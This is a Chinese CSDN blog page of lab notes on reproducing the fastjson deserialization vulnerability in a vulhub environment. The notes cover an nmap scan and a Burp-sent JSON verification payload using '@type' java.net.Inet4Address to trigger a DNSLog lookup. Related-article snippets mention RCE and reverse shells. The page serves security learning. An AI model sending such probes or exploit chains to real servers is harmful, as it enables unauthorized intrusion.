vulhub漏洞——fastjson

最新推荐文章于 2024-12-15 21:35:19 发布

ErYao7

最新推荐文章于 2024-12-15 21:35:19 发布

阅读量4.2k

点赞数 3

分类专栏： vulhub 学习笔记文章标签： web安全安全 java

本文链接：https://blog.csdn.net/weixin_45808483/article/details/121737289

版权

我们只知道一个IP

nmap扫描端口

我们可以看到 8090 opsmessaging

Xary扫描没有发现漏洞

访问 8090 端口

fastjson反序列化漏洞验证POC

DNSLog Platform

获取dnslog

burp抓包修改数据包

POST

Content-Type: application/json

{"zeo":{"@type":"java.net.Inet4Address","val":"m7ds09.dnslog.cn"}}   //val替换成自己获取到的dnslog

发送数据包，成功访问到age

最低0.47元/天解锁文章

确定要放弃本次机会？

福利倒计时

: :

立减 ¥

普通VIP年卡可用

立即使用

ErYao7

关注关注

3
点赞
踩
8

收藏

觉得还不错? 一键收藏
6
评论
分享

复制链接

分享到 QQ

分享到新浪微博

扫一扫
打赏
打赏
打赏举报

举报

专栏目录

vulhub之fastjson

追风少年亚索的博客

11-21

1086

免责声明：本人所有文章均为技术分享，均用于防御为目的的记录，所有操作均在实验环境下进行，请勿用于其他用途，否则后果自负。

vulhub漏洞复现十四_fastjson

weixin_44193247的博客

01-25

1377

vulhub漏洞复现练习篇

6 条评论您还未登录，请先登录后发表或查看评论

Vulhub复现fastjson漏洞

人若有志,就不会在半坡停止。

11-08

1125

Fastjson 是一个 Java 库，可以将 Java 对象转换为 JSON 格式，当然它也可以将 JSON 字符串转换为Java对象，Fastjson 可以操作任何 Java 对象，即使是一些预先存在的没有源码的对象。

Vulhub：Fastjson[漏洞复现]

热门推荐

Bossfrank的博客

04-12

3万+

本文是Fastjson1.2.24漏洞复现，包括漏洞原理、漏洞利用（远程创建文件）、漏洞利用（反弹shell）。使用vulhub靶场进行搭建，保姆级教程，还望大家多多支持。

[Vulhub] fastjson 1.2.24 RCE && 1.2.47 RCE

weixin_45605352的博客

08-14

2224

fastjson 1.2.24 反序列化导致任意命令执行漏洞（CVE-2017-18349） 0x00 预备知识 RMI： RMI（Remote Method Invocation）为远程方法调用，是允许运行在一个Java虚拟机的对象调用运行在另一个Java虚拟机上的对象的方法。这两个虚拟机可以是运行在相同计算机上的不同进程中，也可以是运行在网络上的不同计算机中。 Java RMI：Java远程方法调用，即Java RMI（Java Remote Method Invocation）是Java编程语言里，

Java安全篇-Fastjson漏洞

m0_63138919的博客

03-28

4256

本文章参考网上师傅们的解题和代码审计思路，记录自己的学习过程，还希望各位博主师傅大佬勿喷，还希望大家指出错误

CNVD-2019-22238 Fastjson 1.2.47 反序列化复现

weixin_45260839的博客

08-12

866

CNVD-2019-22238 Fastjson 1.2.47 反序列化复现

Fastjson反序列化漏洞原理与漏洞复现(基于vulhub靶场)

人若无名，便可专心练剑

03-27

5402

Fastjson反序列化漏洞也是一个知名度比较高的Java反序列化漏洞，他是阿里巴巴的开源库，下面我将主要带大家了解Fastjson反序列化漏洞的原理以及相关知识点的内容，然后带师傅们去利用rmi服务去复现这个Fastjson反序列化漏洞！！！

【vulhub】Fastjson 1.2.24、47 反序列化导致任意命令执行漏洞复现

qq_45300786的博客

07-10

1997

记得用我的poc，其他博主的poc都是失败。不信就试试，这里我就把成功复现的内容给大伙看就好了。其他的原理网上一大堆。我就不多比比，直接上链接 Fastjson 1.2.24、47 反序列化导致任意命令执行漏洞复现 Fastjson系列漏洞实战和总结 1.2.24复现反序列化工具：https://github.com/RandomRobbieBF/marshalsec-jar 1.2.24：poc POST / HTTP/1.1 Host: 靶机ip:8090 Accept-Encoding: gzip,

vulhub复现之fastjson1.2.47漏洞复现

m0_70483044的博客

07-14

3203

目录什么是json？fastjson有啥用？什么是fastjson？json语法规则为什么要引进AutoType？漏洞原理怎么确认存在漏洞的?漏洞复现反弹shell。

21 - vulhub - fastjson 反序列化导致任意命令执行漏洞

m0_60667010的博客

06-24

414

当我学到一定基础，有自己的理解能力的时候，会去阅读一些前辈整理的书籍或者手写的笔记资料，这些笔记详细记载了他们对一些技术点的理解，这些理解是比较独到，可以学到不一样的思路。Python所有方向的技术点做的整理，形成各个领域的知识点汇总，它的用处就在于，你可以按照下面的知识点去找对应的学习资源，保证自己学得较为全面。观看全面零基础学习视频，看视频学习是最快捷也是最有效果的方式，跟着视频中老师的思路，从基础到深入，还是很容易入门的。TypeUtils. loadClass() 根据传入的类名，生成类的实例。

vulhub fastjson 1.2.24 反序列化漏洞复现

m0_64777251的博客

04-08

1099

这里要注意一点就是jdk版本要统一为1.8mvn项目要1.8而且touch.java 在用javac编译时 javac也需要是1.8如果版本不统一会导致后期反弹shell弹不上还有就是端口要打开否则流量过不去也是扯淡。

Fastjson 1.2.24反序列化漏洞（Vulhub）使用方法

R0ot

03-12

1015

Fastjson是阿里巴巴的一个开源JSON处理库，它可以实现Java对象与JSON之间的转换。然而，在Fastjson 1.2.24版本中，存在一个反序列化漏洞，攻击者可以通过构造恶意的JSON数据来触发该漏洞，进而执行任意代码，获取服务器敏感信息，甚至控制整个服务器。Vulhub是一个漏洞集成环境，方便安全研究人员进行漏洞复现和研究。本文将介绍如何使用Vulhub来搭建Fastjson 1.2.24反序列化漏洞环境，并演示漏洞的使用方法。

漏洞复现-反序列化-fastjson

qq_38618396的博客

08-17

4278

0x00、原理说明 0x01、环境搭建 1、docker + vulhub 2、fastjson 1.2.24-rce 3、物理机：192.168.10.108 靶机：192.168.10.130 4、访问效果 0x02、漏洞利用漏洞扫描特征使用nmap扫描靶机，识别到opsmessaging: 利用dnslog漏洞验证漏洞 1、使用dnslog进行无回显测试：http://www.dnslog.cn/ 2、准备poc import java.lang.Runtime; import ja

使用Nmap进行端口扫描和服务识别

changsure的专栏

12-07

2万+

使用Nmap进行端口扫描和服务识别第1章 Nmap的简介[1]Nmap (“Network Mapper(网络映射器)”) 是一款开放源代码的网络探测和安全审核的工具。它的设计目标是快速地扫描大型网络，当然用它扫描单个主机也没有问题。Nmap以新颖的方式使用原始IP报文来发现网络上有哪些主机，那些主机提供什么服务(应用程序名和版本)，那些服务运行在什么操作系统(

Messaging之基本概念

半支·烟

10-30

1488

v/:* {behavior:url(#default#VML);}o/:* {behavior:url(#default#VML);}w/:* {behavior:url(#default#VML);}.shape {behavior:url(#default#VML);} Normal 0 7.8 磅 0